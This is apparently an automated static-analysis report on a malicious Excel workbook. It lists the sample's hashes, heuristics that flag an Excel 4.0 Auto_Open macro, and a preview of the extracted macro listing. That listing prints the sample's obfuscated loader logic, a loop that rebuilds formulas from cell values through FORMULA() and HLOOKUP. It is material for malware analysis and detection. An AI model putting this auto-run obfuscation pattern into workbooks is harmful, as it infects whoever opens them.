Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e0a22b55aa315890…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:47:04 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: 9b296c15a78644a5188ac858eefc498d SHA-1: c383529064fd27c8ad0f70609f21aeec8907b0aa SHA-256: e0a22b55aa31589098b4333668b28cbeeeae1a715feaa1f0c9dd9c19a5462d5c
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6632 bytes
SHA-256: d9815c6a918d46eab2cfa30bc9659e7f192156600472b60b43b531390a54793c
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  sBREnOfXOk
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A162 
' 0018     24 LABEL : Cell Value, String Constant - dvTMGnDDj len=0 
' 0018     20 LABEL : Cell Value, String Constant - gflsL len=0 
' 0018     27 LABEL : Cell Value, String Constant - hsIhsNhFyGDg len=0 
' 0018     25 LABEL : Cell Value, String Constant - HvoUXNciIK len=0 
' 0018     25 LABEL : Cell Value, String Constant - InuNPTggUW len=0 
' 0018     27 LABEL : Cell Value, String Constant - KBIWifcoWAwV len=0 
' 0018     22 LABEL : Cell Value, String Constant - lDxcVJU len=0 
' 0018     21 LABEL : Cell Value, String Constant - MqjDha len=0 
' 0018     20 LABEL : Cell Value, String Constant - nEABN len=0 
' 0018     21 LABEL : Cell Value, String Constant - otwUzb len=0 
' 0018     27 LABEL : Cell Value, String Constant - pHSBfyRgpSRl len=0 
' 0018     27 LABEL : Cell Value, String Constant - rHCGLtaeUDwm len=0 
' 0018     26 LABEL : Cell Value, String Constant - SBlREKyXjPR len=0 
' 0018     27 LABEL : Cell Value, String Constant - TbTrCIvsVRDw len=0 
' 0018     20 LABEL : Cell Value, String Constant - uxZAu len=0 
' 0018     24 LABEL : Cell Value, String Constant - wjoYxJjyB len=0 
' 0018     27 LABEL : Cell Value, String Constant - WoOrcjagsnhU len=0 
' 0018     21 LABEL : Cell Value, String Constant - xfkeAK len=0 
' 0018     20 LABEL : Cell Value, String Constant - yaKVQ len=0 
' 0018     23 LABEL : Cell Value, String Constant - zzBzjEfv len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  sBREnOfXOk,A65,"SET.NAME("HvoUXNciIK",VALUE("0"))",""
'  sBREnOfXOk,A70,"SET.NAME("MqjDha",HvoUXNciIK)",""
'  sBREnOfXOk,A73,"SET.NAME("wjoYxJjyB",HvoUXNciIK)",""
'  sBREnOfXOk,A76,"SET.NAME("otwUzb",COUNTA(dvTMGnDDj))",""
'  sBREnOfXOk,A78,"SET.NAME("SBlREKyXjPR",COUNTA(WoOrcjagsnhU))",""
'  sBREnOfXOk,A83,[],""
'  sBREnOfXOk,A88,"SET.NAME("TbTrCIvsVRDw","")",""
'  sBREnOfXOk,A93,"MqjDha",""
'  sBREnOfXOk,A98,"SET.NAME("hsIhsNhFyGDg",HLOOKUP("*",dvTMGnDDj,MqjDha,FALSE))",""
'  sBREnOfXOk,A102,"gflsL",""
'  sBREnOfXOk,A107,"SET.NAME("yaKVQ",HvoUXNciIK)",""
'  sBREnOfXOk,A111,[],""
'  sBREnOfXOk,A114,"yaKVQ",""
'  sBREnOfXOk,A116,"zzBzjEfv",""
'  sBREnOfXOk,A121,"xfkeAK",""
'  sBREnOfXOk,A126,"KBIWifcoWAwV",""
'  sBREnOfXOk,A131,"SET.NAME("uxZAu",VALUE(HLOOKUP("*",WoOrcjagsnhU,KBIWifcoWAwV,FALSE)))",""
'  sBREnOfXOk,A133,"InuNPTggUW",""
'  sBREnOfXOk,A135,"TbTrCIvsVRDw",""
'  sBREnOfXOk,A137,"wjoYxJjyB",""
'  sBREnOfXOk,A142,NEXT(),""
'  sBREnOfXOk,A145,"nEABN",""
'  sBREnOfXOk,A147,"SET.NAME("f",INT(T(FORMULA(T(TbTrCIvsVRDw)&"",""&T(nEABN)))))",""
'  sBREnOfXOk,A151,"lDxcVJU",""
'  sBREnOfXOk,A156,NEXT(),""
'  sBREnOfXOk,A158,RETURN(),""
'  sBREnOfXOk,A188,"SET.NAME("rHCGLtaeUDwm",A65)",""
'  sBREnOfXOk,A191,"dvTMGnDDj",""
'  sBREnOfXOk,A193,"SET.NAME("WoOrcjagsnhU",R81C14)",""
'  sBREnOfXOk,A195,"SET.NAME("lDxcVJU",201)",""
'  sBREnOfXOk,A197,"SET.NAME("pHSBfyRgpSRl",1)",""
'  sBREnOfXOk,A200,rHCGLtaeUDwm(),""
'  sBREnOfXOk,A201,HALT(),""